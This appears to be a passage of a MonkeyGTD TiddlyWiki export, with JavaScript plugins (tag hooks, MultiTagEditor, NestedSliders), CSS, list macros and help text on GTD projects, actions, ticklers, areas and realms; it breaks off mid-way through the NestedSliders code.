TiddlyWiki.prototype.setTiddlerTag_orig_SequencedActionPlugin_mgtd3 = TiddlyWiki.prototype.setTiddlerTag;
TiddlyWiki.prototype.setTiddlerTag = function(title,status,tag) {
	// Thanks Carsten Thiele
	var returnVal = this.setTiddlerTag_orig_SequencedActionPlugin_mgtd3(title,status,tag);
	var tiddler = this.fetchTiddler(title);
	if (tiddler && tag == 'Done' && tiddler.hasTag('Action')) { // not doing ticklers yet...
		tiddler.autoNextAnyWaitingActions();
	}
	return returnVal;
}


setStylesheet(["",
".button.off {font-weight:bold;border-color:#eee;background:#fff;color:#ccc;margin:0px;font-size:100%}",
".button.on {font-weight:bold;border-color:#444;background:#888;color:#fff;margin:0px;font-size:100%}",
".button.tiny { font-size:75%; }",
// TODO move this css elsewhere
"#realmSelector .button.off {margin:0 0.5em;padding:0 1em;border:2px solid #aaa;background:#eee;color:#333;}", // actually reversed, ie off is "on"
"#realmSelector .button.on {margin:0 0.5em;padding:0 1em;border:2px solid #999;background:#999;color:#ccc;}", // actually reversed, ie off is "on"

// TODO put into styles instead of here?
// actions
".viewer .Next.button.on {border-color:#55c;background:#cfa;color:#4a4;}",
".viewer .WaitingFor.button.on {border-color:#b84;background:#fdb;color:#b84;}",
".viewer .Future.button.on {border-color:#48b;background:#bdf;color:#48b;}",

// projects
".viewer .Active.button.on {border-color:#55c;background:#cfa;color:#4a4;}",
".viewer .SomedayMaybe.button.on {border-color:#48b;background:#bdf;color:#48b;}",

// ticklers
".viewer .Enabled.button.on {border-color:#55c;background:#cfa;color:#4a4;}",
".viewer .Disabled.button.on {border-color:#b84;background:#fdb;color:#b84;}",

".viewer .Starred.button {padding:0;font-size:100%;}",
".viewer .Starred.button.on {border-color:#fff;background:#fff;color:#f80;}",
".viewer .Starred.button.off {border-color:#fff;background:#fff;color:#ddd;}",

""].join("\n"),"tTag");

//}}}
//{{{

merge(config.macros, {
	eval: {
		handler: function(place,macroName,params,wikifier,paramString,tiddler) {
			wikify(eval(paramString),place,null,tiddler);
		}
	}
});

//}}}

Fix these manually. These have either no realm or a different realm to their parent.

{{cols2{

{{col{

<<dGSDList
	title:'Action/Project mismatch'
	startTag:Action
	view:star
	mode:global
	ignoreRealm:yes
	where:"tiddler.realmMismatchWithParent('Project')"
	group:Project
	gView:bold
	>>

}}}

{{col{

<<dGSDList
	title:'Projects/Area mismatch'
	startTag:Project
	view:star
	mode:global
	ignoreRealm:yes
	where:"tiddler.realmMismatchWithParent('Area')"
	group:Area
	gView:bold
	>>


<<dGSDList
	title:'Subproject/parent project mismatch'
	startTag:Project
	view:star
	mode:global
	ignoreRealm:yes
	where:"tiddler.realmMismatchWithParent('Project')"
	>>


}}}

}}}
/%
This is the contents of the help you get when you click the question mark button
%/

!Project
A [[Project|Projects Dashboard]] is made up of sub-projects, [[Action|Next and Waiting Actions]] items, and [[Reference Items]]. A project should have a defined set of tasks or actions (that may change) and when these tasks are done the project is done. If a project has no defined finish, consider calling it an [[Area]], and then make terminable projects in the area.

!Action
An [[Action|Next and Waiting Actions]] is a single task that can be completed at one point in time. If an action is more complex than this, considering making it a [[subproject|Subprojects]], or storing information in the action notes area. Using the [[CheckboxPlugin| http://www.tiddlytools.com/#CheckboxPlugin]] you can hid sub-actions inside an action.

!Tickler
A [[tickler|Tickler Dashboard]] is an [[Action|Next and Waiting Actions]] with a date attached. For example, if you need to call someone as part of a [[Project|Projects Dashboard]], that should be an action. But if you need to call someone on a specific day, then make it a [[tickler|Tickler Dashboard]] and MonkeyGTD will remind you on the day that you need to call them.

Example: The Health area contains a Dentist project with Actions Schedule Dentist, Go To Dentist and File Reimbursement. The latter two are Waiting while Schedule Dentist is Next. Once you call and schedule it, select the Go To Dentist Action, set it to Next, and then choose Make Tickler and set a date for the day of (or the day before) your appointment.

!View
No help yet for View

!Context
No help yet for Context

!Area
An [[Area]] is similar to a project, but it has no possible completion. Areas contain projects.

Example: The Health area might contain the project ''Run Marathon'', and the ''Household'' area might contain projects like ''Sell House'' and ''Buy House'' and ''Plant Garden'', each of which might have sub-projects.

!Realm
Realms are the top of the MonkeyGTD hierarchy. Realms contain Areas. Areas contain Projects. A Realm is a large-scale division of all the Areas, Projects, and Actions that might be placed into a GTD context.

!Reference
No help yet for Reference



!Action Dashboard
This Dashboard is the place where you can get an overview of your next actions.  

!Action Dashboard by Project
This Dashboard is the place where you can get an overview of your next actions organised by Project. Note that when doing work you shouldn't be really be using this view. You should be focussed on context rather than project.

!Action Dashboard by Context
This Dashboard is the place where you can get an overview of your next actions organised by Context. This might be too cluttered if you have a lot of actions.  If you know you are in a particular context consider just clicking the context to focus on that context.

!Next Actions
No help yet for Next Actions

!Next Actions by Context
No help yet for Next Actions by Context

!Next Actions by Project
No help yet for Next Actions by Project

!Projects Dashboard
No help yet for Projects Dashboard

!Projects Dashboard by Area
No help yet for Projects Dashboard by Area

!Next and Waiting Actions
No help yet for Next and Waiting Actions

!Next and Waiting Actions by Context
No help yet for Next and Waiting Actions by Context

!Next and Waiting Actions by Project
No help yet for Next and Waiting Actions by Project

!Done Actions
No help yet for Done Actions

!Active Projects With No Next Action
No help yet for Active Projects With No Next Action

!Quick Add
No help yet for Quick Add

!About Quick Add
No help yet for About Quick Add

!Tickler Dashboard
No help yet for Tickler Dashboard

!Ticklers Requiring Action
No help yet for Ticklers Requiring Action

!Reference Items
No help yet for Reference Items

!Starred Items
No help yet for Starred Items

order:5
button:month
buttonLong:monthly
//{{{
// Pretty sure this is incomplete and experimental
// TODO: Fix it or remove it.

(function($){

merge(config.macros,{
  mptwCollapse: {
    handler: function(place,macroName,params) {
      createTiddlyButton(place, params[0] == '+' ? '\u25AD' : '\u25AC', 'collapse/uncollapse', function(){
        $(story.findContainingTiddler(place)).toggleClass('collapsed');
      });
    }
  }
});

/* this doesn't work unless you have a modified ViewTempate */
config.shadowTiddlers["MptwCollapsePluginStyles"] = ""
  +".collapsed .uncollapsedView { display:none;       }"
  +".collapsedView              { display:none;       }"
  +".collapsed .collapsedView   { display:block;      }"
  +".tiddler.collapsed          { padding-bottom:1em; }"
  +".tiddler.collapsed .title   { font-size:100%;     }"
;

store.addNotification("MptwCollapsePluginStyles",refreshStyles);

})(jQuery);

//}}}
<<MTE>>
/***
|''Name:''|MultiTagEditorPlugin|
|''Version:''|0.2.0 (Dec 29, 2006)|
|''Source:''|http://ido-xp.tiddlyspot.com/#MultiTagEditorPlugin|
|''Author:''|Ido Magal (idoXatXidomagalXdotXcom)|
|''Licence:''|[[BSD open source license]]|
|''CoreVersion:''|2.1.0|
|''Browser:''|??|

!Description
This plugin enables the addition and deletion of tags from sets of tiddlers.

!Installation instructions
*Create a new tiddler in your wiki and copy the contents of this tiddler into it.  Name it the same and tag it with "[[systemConfig]]".
*Save and reload your wiki.
*Use it here [[MultiTagEditor]].

!Revision history
* v0.2.0 (Dec 29, 2006)
** Added Selection column that allows excluding tiddlers.
* v0.1.0 (Dec 27, 2006)
** First draft.

!To Do
* Clean up text strings.
* Figure out how to store selection so it isn't reset after every action.
* Prettify layout.

!Code
***/
//{{{

merge(config.shadowTiddlers,
{
	MultiTagEditor:[
	"<<MTE>>",
	""
	].join("\n")
});

config.macros.MTE =
{
	AddToListLabel : "Add to List",
	AddToListPrompt : "Add Tiddlers to the List",
	listViewTemplate :
	{
		columns: [
			{name: 'Selected', field: 'Selected', rowName: 'title', type: 'Selector'},
			{name: 'Title', field: 'title', tiddlerLink: 'title', title: "Title", type: 'TiddlerLink'},
			{name: 'Snippet', field: 'text', title: "Snippet", type: 'String'},
			{name: 'Tags', field: 'tags', title: "Tags", type: 'Tags'}
			],
		rowClasses: [
			],
		actions: [
			//{caption: "More actions...", name: ''},
			//{caption: "Remove selected tiddlers from list", name: 'delete'}
			]
	},
	tiddlers : [],
	HomeSection : [],
	ListViewSection : [],
	AddToListSection : [],
	
	handler : function( place, macroName, params, wikifier, paramString, tiddler )
	{
		this.HomeSection = place;
		var newsection = createTiddlyElement( null, "div", null, "MTE_AddTag" );
		createTiddlyText(newsection, "Tiddler Tags to edit: ");
		var input = createTiddlyElement( null, "input", null, "txtOptionInput" );
		input.type = "text";
		input.size = 50;
		newsection.appendChild( input );
		newsection.inputBox = input;
		createTiddlyButton( newsection, this.AddToListLabel, this.AddToListPrompt, this.onAddToList, null, null, null );
		createTiddlyButton( newsection, "Clear List", this.addtoListPrompt, this.onClear, null, null, null );
		createTiddlyElement( newsection, "br" );
		createTiddlyElement( newsection, "br" );
		this.AddToListSection = newsection;
	        this.HomeSection.appendChild( newsection );

		newsection = createTiddlyElement( null, "div", null, "MTE_addtag" );
		createTiddlyButton( newsection, "Add Tag", "Add tag to all listed tiddlers", this.onAddTag, null, null, null );
		var input = createTiddlyElement( null, "input", null, "txtOptionInput" );
		input.type = "text";
		input.size = 50;
		newsection.appendChild( input );
		newsection.inputBox = input;
		createTiddlyElement( newsection, "br" );
		this.AddTagSection = newsection;
	        this.HomeSection.appendChild( newsection );

		newsection = createTiddlyElement( null, "div", null, "MTE_removetag" );
		createTiddlyButton( newsection, "Remove Tag", "Remove tag from all listed tiddlers", this.onRemoveTag, null, null, null );
		var input = createTiddlyElement( null, "input", null, "txtOptionInput" );
		input.type = "text";
		input.size = 50;
		newsection.appendChild( input );
		newsection.inputBox = input;
		createTiddlyElement( newsection, "br" );
		this.RemoveTagSection = newsection;
	        this.HomeSection.appendChild( newsection );

		this.ListViewSection = createTiddlyElement( null, "div", null, "MTE_listview" );
		this.HomeSection.appendChild( this.ListViewSection );
		ListView.create( this.ListViewSection, this.tiddlers, this.listViewTemplate, null );

	},


	ResetListView : function()
	{
		ListView.forEachSelector( config.macros.MTE.ListViewSection, function( e, rowName )
		{
			if( e.checked )
			{
				var title = e.getAttribute( "rowName" );
				var tiddler = config.macros.MTE.tiddlers.findByField( "title", title );
				tiddler.Selected = 1;
			}
		});
		config.macros.MTE.HomeSection.removeChild( config.macros.MTE.ListViewSection );
		config.macros.MTE.ListViewSection = createTiddlyElement( null, "div", null, "MTE_listview" );
		config.macros.MTE.HomeSection.appendChild( config.macros.MTE.ListViewSection );
		ListView.create( config.macros.MTE.ListViewSection, config.macros.MTE.tiddlers, config.macros.MTE.listViewTemplate, config.macros.MTE.onSelectCommand);
	},

	onAddToList : function()
	{
		store.forEachTiddler( function ( title, tiddler )
		{
			var tags = config.macros.MTE.AddToListSection.inputBox.value.readBracketedList();
			if (( tiddler.tags.containsAll( tags ))  && ( config.macros.MTE.tiddlers.findByField( "title", title ) == null ))
			{
				var t = store.getTiddlerSlices( title, ["Name", "Description", "Version", "CoreVersion", "Date", "Source", "Author", "License", "Browsers"] );
				t.title = title;
				t.tiddler = tiddler;
				t.text = tiddler.text.substr(0,50);
				t.tags = tiddler.tags;
				config.macros.MTE.tiddlers.push(t);
			}
		});
		config.macros.MTE.ResetListView();
	},

	onClear : function()
	{
		config.macros.MTE.tiddlers = [];
		config.macros.MTE.ResetListView();
	},

	onAddTag : function( e )
	{
		var selectedRows = [];
		ListView.forEachSelector(config.macros.MTE.ListViewSection, function( e, rowName )
		{
			if( e.checked )
				selectedRows.push( e.getAttribute( "rowName" ));
		});
		var tag = config.macros.MTE.AddTagSection.inputBox.value;
		for(t=0; t < config.macros.MTE.tiddlers.length; t++)
		{
			if ( selectedRows.indexOf( config.macros.MTE.tiddlers[t].title ) != -1 )
				store.setTiddlerTag( config.macros.MTE.tiddlers[t].title, true, tag);
		}
		config.macros.MTE.ResetListView();
	},

	onRemoveTag : function( e )
	{
		var selectedRows = [];
		ListView.forEachSelector(config.macros.MTE.ListViewSection, function( e, rowName )
		{
			if( e.checked )
				selectedRows.push( e.getAttribute( "rowName" ));
		});
		var tag = config.macros.MTE.RemoveTagSection.inputBox.value;
		for(t=0; t < config.macros.MTE.tiddlers.length; t++)
		{
			if ( selectedRows.indexOf( config.macros.MTE.tiddlers[t].title ) != -1 )
				store.setTiddlerTag( config.macros.MTE.tiddlers[t].title, false, tag);
		}
		config.macros.MTE.ResetListView();
	}

};
//}}}
order:1
button:m
buttonLong:must reply
<<newJournal "YYYY/MM/DD - hh:0mm" Journal noNotes hideTags>>

<<mgtdList title:'My Journal Entries'
  startTag:Journal
  dontShowEmpty:no
  global:yes 
  sort:-modified
  ignoreRealm:yes
  view:TiddlerText
>>
/***
|Name|NestedSlidersPluginInfo|
|Source|http://www.TiddlyTools.com/#NestedSlidersPlugin|
|Documentation|http://www.TiddlyTools.com/#NestedSlidersPluginInfo|
|Version|2.4.9|
|Author|Eric Shulman|
|License|http://www.TiddlyTools.com/#LegalStatements|
|~CoreVersion|2.1|
|Type|documentation|
|Description|documentation for NestedSlidersPlugin|
This plugin adds new wiki syntax for embedding 'slider' panels directly into tiddler content.
!!!!!Usage
<<<
//{{{
++++(cookiename)!!!!!^width^*@{{class{[label=key|tooltip][altlabel|alttooltip]}}}#panelID:>...
content goes here
===
//}}}
* ''"""+++""" (or """++++""") and """==="""''<br>marks the start and end of the slider definition, respectively.  When the extra {{{+}}} is used, the slider will be open when initially displayed.
* ''"""(cookiename)"""''<br>saves the slider opened/closed state, and restores this state whenever the slider is re-rendered.
* ''"""! through !!!!!"""''<br>displays the slider label using a formatted headline (Hn) style instead of a button/link style
* ''"""^width^ (or just ^)"""''<br>makes the slider 'float' on top of other content rather than shifting that content downward.  'width' must be a valid CSS value (e.g., "30em", "180px", "50%", etc.).  If omitted, the default width is "auto" (i.e., fit to content)
* ''"""*"""''<br>denotes "transient display": when a click occurs elsewhere in the document, the slider/floating panel will be automatically closed.  This is useful for creating 'pulldown menus' that automatically go away after they are used.  //Note: using SHIFT-click on a slider label will open/close that slider without triggering the automatic closing of any transient slider panels that are currently displayed, permitting ''temporary'' display of several transient panels at once.//
* ''"""@"""''<br>denotes "open on hover": the slider/floating panel will be automatically opened as soon as the mouse moves over the slider label, without requiring a click.
* ''"""{{class{[label=key|tooltip][altlabel|alttooltip]}}}"""''<br>uses label/tooltip/accesskey.  """{{class{...}}}""", """=key""", """|tooltip""" and """[altlabel|alttooltip]""" are optional.  'class' is any valid CSS class name, used to style the slider label text.  'key' must be a ''single letter only''.  altlabel/alttooltip specify alternative label/tooltip for use when slider/floating panel is displayed.  //Note: you can use HTML syntax within the label text to include HTML entities (e.g., {{{&raquo;}}} (&raquo;) or {{{&#x25ba;}}} (&#x25ba;), or even embedded images (e.g., {{{<img src="images/eric3.gif">}}}).//
* ''"""#panelID:"""''<br>defines a unique DOM element ID that is assigned to the panel element used to display the slider content.  This ID can then be used later to reposition the panel using the {{{<<DOM move id>>}}} macro (see [[DOMTweaksPlugin]]), or to access/modify the panel element through use of {{{document.getElementById(...)}}}) javascript code in a plugin or inline script.
* ''""">"""''<br>automatically adds blockquote formatting to slider content
* ''"""..."""''<br>defers rendering of closed sliders until the first time they are opened.
Notes:
*You can 'nest' sliders as deep as you like (see complex nesting example below), so that expandable 'tree-like' hierarchical displays can be created.
*Deferred rendering (...) can be used to offset processing overhead until actually needed. However, this may produce unexpected results in some cases.  Use with care.
* To make slider definitions easier to read and recognize when editing a tiddler, newlines immediately following the 'start slider' or preceding the 'end slider' sequences are automatically supressed so that excess whitespace is eliminated from the output.
<<<
!!!!!Examples
<<<
simple in-line slider: 
{{{
+++content===
}}}
+++content===
----
use a custom label and tooltip: 
{{{
+++[label|tooltip]content===
}}}
+++[label|tooltip]content===
----
content automatically blockquoted: 
{{{
+++>content===
}}}
+++>content===
----
all options (except cookie) //(default open, heading, sized floater, transient, open on hover, class, label/tooltip/key, blockquoted, deferred)//
{{{
++++!!!^30em^*@{{big{[label=Z|click or press Alt-Z to open]}}}>...
   content
===
}}}
++++!!!^30em^*@{{big{[label=Z|click or press Alt-Z to open]}}}>...
   content
===
----
complex nesting example:
{{{
+++[get info...=I|click for information or press Alt-I]
	put some general information here,
	plus a floating panel with more specific info:
	+++^10em^[view details...|click for details]
		put some detail here, which could in turn contain a transient panel,
		perhaps with a +++^25em^*[glossary definition]explaining technical terms===
	===
===
}}}
+++[get info...=I|click for information or press Alt-I]
	put some general information here,
	plus a floating panel with more specific info:
	+++^10em^[view details...|click for details]
		put some detail here, which could in turn contain a transient panel,
		perhaps with a +++^25em^*[glossary definition]explaining technical terms===
	===
===
----
embedded image as slider button
{{{
+++[<img src=images/eric3.gif>|click me!]>
	{{big{OUCH!}}}
===
}}}
+++[<img src=images/eric3.gif>|click me!]>
	{{big{OUCH!}}}
===
<<<
!!!!!Revisions
<<<
2008.11.15 2.4.9 in adjustNestedSlider(), don't make adjustments if panel is marked as 'undocked' (CSS class).  In onClickNestedSlider(), SHIFT-CLICK docks panel (see [[MoveablePanelPlugin]])
2008.11.13 2.4.8 in document.onclick(), if transient panel is not a sliderPanel or floatingPanel, hide it via CSS
2008.10.05 2.4.7 in onClickNestedSlider(), added try/catch around focus() call to prevent IE error if input field being focused on is currently not visible.
2008.09.07 2.4.6 added removeCookie() function for compatibility with [[CookieManagerPlugin]]
2008.06.07 2.4.5 in 'onmouseover' handler for 'open on hover' slider buttons, use call() method when invoking document.onclick function (avoids error in IE)
2008.06.07 2.4.4 changed default for chkFloatingSlidersAnimate to FALSE to avoid clipping problem on some browsers (IE).  Updated Morpher hijack (again) to adjust regular sliderPanel styles as well as floatingPanel styles.
2008.05.07 2.4.3 updated Morpher hijack to adjust floatingPanel styles after animation without affecting other animated elements (i.e. popups).  Also, updated adjustSliderPos() to account for scrollwidth and use core findWindowWidth().
2008.04.02 2.4.2 in onClickNestedSlider, handle clicks on elements contained //within// slider buttons (e.g., when using HTML to display an image as a slider button).
2008.04.01 2.4.1 open on hover also triggers document.onclick to close other transient sliders
2008.04.01 2.4.0 re-introduced 'open on hover' feature using "@" symbol
2008.03.26 2.3.5 in document.onclick(), if click is in popup, don't dismiss transient panel (if any)
2008.01.08 [*.*.*] plugin size reduction: documentation moved to ...Info tiddler
2007.12.28 2.3.4 added hijack for Animator.prototype.startAnimating().  Previously, the plugin code simply set the overflow to "visible" after animation.  This code tweak corrects handling of elements that were styled with overflow=hidden/auto/scroll before animation by saving the overflow style and then restoring it after animation has completed.
2007.12.17 2.3.3 use hasClass() instead of direct comparison to test for "floatingPanel" class.  Allows floating panels to have additional classes assigned to them (i.e., by AnimationEffectsPlugin).
2007.11.14 2.3.2 in onClickNestedSlider(), prevent SHIFT-click events from opening a new, empty browser window by setting "cancelBubble=true" and calling "stopPropagation()".  Note: SHIFT-click is still processed as a normal click (i.e., it toggles the slider panel display).  Also, using SHIFT-click will prevent 'transient' sliders from being automatically closed when another slider is opened, allowing you to *temporarily* display several transient sliders at once.
2007.07.26 2.3.1 in document.onclick(), propagate return value from hijacked core click handler to consume OR bubble up click as needed.  Fixes "IE click disease", whereby nearly every mouse click causes a page transition.
2007.07.20 2.3.0 added syntax for setting panel ID (#panelID:).  This allows individual slider panels to be repositioned within tiddler content simply by giving them a unique ID and then moving them to the desired location using the {{{<<DOM move id>>}}} macro.
2007.07.19 2.2.0 added syntax for alttext and alttip (button label and tooltip to be displayed when panel is open)
2007.07.14 2.1.2 corrected use of 'transient' attribute in IE to prevent (non-recursive) infinite loop
2007.07.12 2.1.0 replaced use of "*" for 'open/close on rollover' (which didn't work too well).  "*" now indicates 'transient' panels that are automatically closed if a click occurs somewhere else in the document.  This permits use of nested sliders to create nested "pulldown menus" that automatically disappear after interaction with them has been completed.  Also, in onClickNestedSlider(), use "theTarget.sliderCookie", instead of "this.sliderCookie" to correct cookie state tracking when automatically dismissing transient panels.
2007.06.10 2.0.5 add check to ensure that window.adjustSliderPanel() is defined before calling it (prevents error on shutdown when mouse event handlers are still defined)
2007.05.31 2.0.4 add handling to invoke adjustSliderPanel() for onmouseover events on slider button and panel.  This allows the panel position to be re-synced when the button position shifts due to changes in unrelated content above it on the page.  (thanks to Harsha for bug report)
2007.03.30 2.0.3 added chkFloatingSlidersAnimate (default to FALSE), so that slider animation can be disabled independent of the overall document animation setting (avoids strange rendering and focus problems in floating panels)
2007.03.01 2.0.2 for TW2.2+, hijack Morpher.prototype.stop so that "overflow:hidden" can be reset to "overflow:visible" after animation ends
2007.03.01 2.0.1 in hijack for Slider.prototype.stop, use apply() to pass params to core function
2006.07.28 2.0.0 added custom class syntax around label/tip/key syntax: {{{{{classname{[label=key|tip]}}}}}}
2006.07.25 1.9.3 when parsing slider, save default open/closed state in button element, then in onClickNestedSlider(), if slider state matches saved default, instead of saving cookie, delete it.  Significantly reduces the 'cookie overhead' when default slider states are used.
2006.06.29 1.9.2 in onClickNestedSlider(), when setting focus to first control, skip over type="hidden"
2006.06.22 1.9.1 added panel.defaultPanelWidth to save requested panel width, even after resizing has changed the style value
2006.05.11 1.9.0 added optional '^width^' syntax for floating sliders and '=key' syntax for setting an access key on a slider label
2006.05.09 1.8.0 in onClickNestedSlider(), when showing panel, set focus to first child input/textarea/select element
2006.04.24 1.7.8 in adjustSliderPos(), if floating panel is contained inside another floating panel, subtract offset of containing panel to find correct position
2006.02.16 1.7.7 corrected deferred rendering to account for use-case where show/hide state is tracked in a cookie
2006.02.15 1.7.6 in adjustSliderPos(), ensure that floating panel is positioned completely within the browser window (i.e., does not go beyond the right edge of the browser window)
2006.02.04 1.7.5 add 'var' to unintended global variable declarations to avoid FireFox 1.5.0.1 crash bug when assigning to globals
2006.01.18 1.7.4 only define adjustSliderPos() function if it has not already been provided by another plugin.  This lets other plugins 'hijack' the function even when they are loaded first.
2006.01.16 1.7.3 added adjustSliderPos(place,btn,panel,panelClass) function to permit specialized logic for placement of floating panels.  While it provides improved placement for many uses of floating panels, it exhibits a relative offset positioning error when used within *nested* floating panels.  Short-term workaround is to only adjust the position for 'top-level' floaters.
2006.01.16 1.7.2 added button property to slider panel elements so that slider panel can tell which button it belongs to.  Also, re-activated and corrected animation handling so that nested sliders aren't clipped by hijacking Slider.prototype.stop so that "overflow:hidden" can be reset to "overflow:visible" after animation ends
2006.01.14 1.7.1 added optional "^" syntax for floating panels.  Defines new CSS class, ".floatingPanel", as an alternative for standard in-line ".sliderPanel" styles.
2006.01.14 1.7.0 added optional "*" syntax for rollover handling to show/hide slider without requiring a click (Based on a suggestion by tw4efl)
2006.01.03 1.6.2 When using optional "!" heading style, instead of creating a clickable "Hn" element, create an "A" element inside the "Hn" element.  (allows click-through in SlideShowPlugin, which captures nearly all click events, except for hyperlinks)
2005.12.15 1.6.1 added optional "..." syntax to invoke deferred ('lazy') rendering for initially hidden sliders
removed checkbox option for 'global' application of lazy sliders
2005.11.25 1.6.0 added optional handling for 'lazy sliders' (deferred rendering for initially hidden sliders)
2005.11.21 1.5.1 revised regular expressions: if present, a single newline //preceding// and/or //following// a slider definition will be suppressed so start/end syntax can be place on separate lines in the tiddler 'source' for improved readability.  Similarly, any whitespace (newlines, tabs, spaces, etc.) trailing the 'start slider' syntax or preceding the 'end slider' syntax is also suppressed.
2005.11.20 1.5.0 added (cookiename) syntax for optional tracking and restoring of slider open/close state
2005.11.11 1.4.0 added !!!!! syntax to render slider label as a header (Hn) style instead of a button/link style
2005.11.07 1.3.0 removed alternative syntax {{{(((}}} and {{{)))}}} (so they can be used by other formatting extensions) and simplified/improved regular expressions to trim multiple excess newlines
2005.11.05 1.2.1 changed name to NestedSlidersPlugin
2005.11.04 1.2.0 added alternative character-mode syntax {{{(((}}} and {{{)))}}}
tweaked "eat newlines" logic for line-mode {{{+++}}} and {{{===}}} syntax
2005.11.03 1.1.1 fixed toggling of default tooltips ("more..." and "less...") when a non-default button label is used.  code cleanup, added documentation
2005.11.03 1.1.0 changed delimiter syntax from {{{(((}}} and {{{)))}}} to {{{+++}}} and {{{===}}}.  changed name to EasySlidersPlugin
2005.11.03 1.0.0 initial public release
<<<
/***
|Name|NestedSlidersPlugin|
|Source|http://www.TiddlyTools.com/#NestedSlidersPlugin|
|Documentation|http://www.TiddlyTools.com/#NestedSlidersPluginInfo|
|Version|2.4.9|
|Author|Eric Shulman|
|License|http://www.TiddlyTools.com/#LegalStatements|
|~CoreVersion|2.1|
|Type|plugin|
|Description|show content in nest-able sliding/floating panels, without creating separate tiddlers for each panel's content|
!!!!!Documentation
>see [[NestedSlidersPluginInfo]]
!!!!!Configuration
<<<
<<option chkFloatingSlidersAnimate>> allow floating sliders to animate when opening/closing
>Note: This setting can cause 'clipping' problems in some versions of InternetExplorer.
>In addition, for floating slider animation to occur you must also allow animation in general (see [[AdvancedOptions]]).
<<<
!!!!!Revisions
<<<
2008.11.15 - 2.4.9 in adjustNestedSlider(), don't make adjustments if panel is marked as 'undocked' (CSS class).  In onClickNestedSlider(), SHIFT-CLICK docks panel (see [[MoveablePanelPlugin]])
|please see [[NestedSlidersPluginInfo]] for additional revision details|
2005.11.03 - 1.0.0 initial public release.  Thanks to RodneyGomes, GeoffSlocock, and PaulPetterson for suggestions and experiments.
<<<
!!!!!Code
***/
//{{{
version.extensions.NestedSlidersPlugin= {major: 2, minor: 4, revision: 9, date: new Date(2008,11,15)};

// options for deferred rendering of sliders that are not initially displayed
if (config.options.chkFloatingSlidersAnimate===undefined)
	config.options.chkFloatingSlidersAnimate=false; // avoid clipping problems in IE

// default styles for 'floating' class
setStylesheet(".floatingPanel { position:absolute; z-index:10; padding:0.5em; margin:0em; \
	background-color:#eee; color:#000; border:1px solid #000; text-align:left; }","floatingPanelStylesheet");

// if removeCookie() function is not defined by TW core, define it here.
if (window.removeCookie===undefined) {
	window.removeCookie=function(name) {
		document.cookie = name+'=; expires=Thu, 01-Jan-1970 00:00:01 UTC; path=/;'; 
	}
}

config.formatters.push( {
	name: "nestedSliders",
	match: "\\n?\\+{3}",
	terminator: "\\s*\\={3}\\n?",
	lookahead: "\\n?\\+{3}(\\+)?(\\([^\\)]*\\))?(\\!*)?(\\^(?:[^\\^\\*\\@\\[\\>]*\\^)?)?(\\*)?(\\@)?(?:\\{\\{([\\w]+[\\s\\w]*)\\{)?(\\[[^\\]]*\\])?(\\[[^\\]]*\\])?(?:\\}{3})?(\\#[^:]*\\:)?(\\>)?(\\.\\.\\.)?\\s*",
	handler: function(w)
		{
			lookaheadRegExp = new RegExp(this.lookahead,"mg");
			lookaheadRegExp.lastIndex = w.matchStart;
			var lookaheadMatch = lookaheadRegExp.exec(w.source)
			if(lookaheadMatch && lookaheadMatch.index == w.matchStart)
			{
				var defopen=lookaheadMatch[1];
				var cookiename=lookaheadMatch[2];
				var header=lookaheadMatch[3];
				var panelwidth=lookaheadMatch[4];
				var transient=lookaheadMatch[5];
				var hover=lookaheadMatch[6];
				var buttonClass=lookaheadMatch[7];
				var label=lookaheadMatch[8];
				var openlabel=lookaheadMatch[9];
				var panelID=lookaheadMatch[10];
				var blockquote=lookaheadMatch[11];
				var deferred=lookaheadMatch[12];

				// location for rendering button and panel
				var place=w.output;

				// default to closed, no cookie, no accesskey, no alternate text/tip
				var show="none"; var cookie=""; var key="";
				var closedtext=">"; var closedtip="";
				var openedtext="<"; var openedtip="";

				// extra "+", default to open
				if (defopen) show="block";

				// cookie, use saved open/closed state
				if (cookiename) {
					cookie=cookiename.trim().slice(1,-1);
					cookie="chkSlider"+cookie;
					if (config.options[cookie]==undefined)
						{ config.options[cookie] = (show=="block") }
					show=config.options[cookie]?"block":"none";
				}

				// parse label/tooltip/accesskey: [label=X|tooltip]
				if (label) {
					var parts=label.trim().slice(1,-1).split("|");
					closedtext=parts.shift();
					if (closedtext.substr(closedtext.length-2,1)=="=")	
						{ key=closedtext.substr(closedtext.length-1,1); closedtext=closedtext.slice(0,-2); }
					openedtext=closedtext;
					if (parts.length) closedtip=openedtip=parts.join("|");
					else { closedtip="show "+closedtext; openedtip="hide "+closedtext; }
				}

				// parse alternate label/tooltip: [label|tooltip]
				if (openlabel) {
					var parts=openlabel.trim().slice(1,-1).split("|");
					openedtext=parts.shift();
					if (parts.length) openedtip=parts.join("|");
					else openedtip="hide "+openedtext;
				}

				var title=show=='block'?openedtext:closedtext;
				var tooltip=show=='block'?openedtip:closedtip;

				// create the button
				if (header) { // use "Hn" header format instead of button/link
					var lvl=(header.length>5)?5:header.length;
					var btn = createTiddlyElement(createTiddlyElement(place,"h"+lvl,null,null,null),"a",null,buttonClass,title);
					btn.onclick=onClickNestedSlider;
					btn.setAttribute("href","javascript:;");
					btn.setAttribute("title",tooltip);
				}
				else
					var btn = createTiddlyButton(place,title,tooltip,onClickNestedSlider,buttonClass);
				btn.innerHTML=title; // enables use of HTML entities in label

				// set extra button attributes
				btn.setAttribute("closedtext",closedtext);
				btn.setAttribute("closedtip",closedtip);
				btn.setAttribute("openedtext",openedtext);
				btn.setAttribute("openedtip",openedtip);
				btn.sliderCookie = cookie; // save the cookiename (if any) in the button object
				btn.defOpen=defopen!=null; // save default open/closed state (boolean)
				btn.keyparam=key; // save the access key letter ("" if none)
				if (key.length) {
					btn.setAttribute("accessKey",key); // init access key
					btn.onfocus=function(){this.setAttribute("accessKey",this.keyparam);}; // **reclaim** access key on focus
				}
				btn.setAttribute("hover",hover?"true":"false");
				btn.onmouseover=function(ev) {
					// optional 'open on hover' handling
					if (this.getAttribute("hover")=="true" && this.sliderPanel.style.display=='none') {
						document.onclick.call(document,ev); // close transients
						onClickNestedSlider(ev); // open this slider
					}
					// mouseover on button aligns floater position with button
					if (window.adjustSliderPos) window.adjustSliderPos(this.parentNode,this,this.sliderPanel);
				}

				// create slider panel
				var panelClass=panelwidth?"floatingPanel":"sliderPanel";
				if (panelID) panelID=panelID.slice(1,-1); // trim off delimiters
				var panel=createTiddlyElement(place,"div",panelID,panelClass,null);
				panel.button = btn; // so the slider panel know which button it belongs to
				btn.sliderPanel=panel; // so the button knows which slider panel it belongs to
				panel.defaultPanelWidth=(panelwidth && panelwidth.length>2)?panelwidth.slice(1,-1):"";
				panel.setAttribute("transient",transient=="*"?"true":"false");
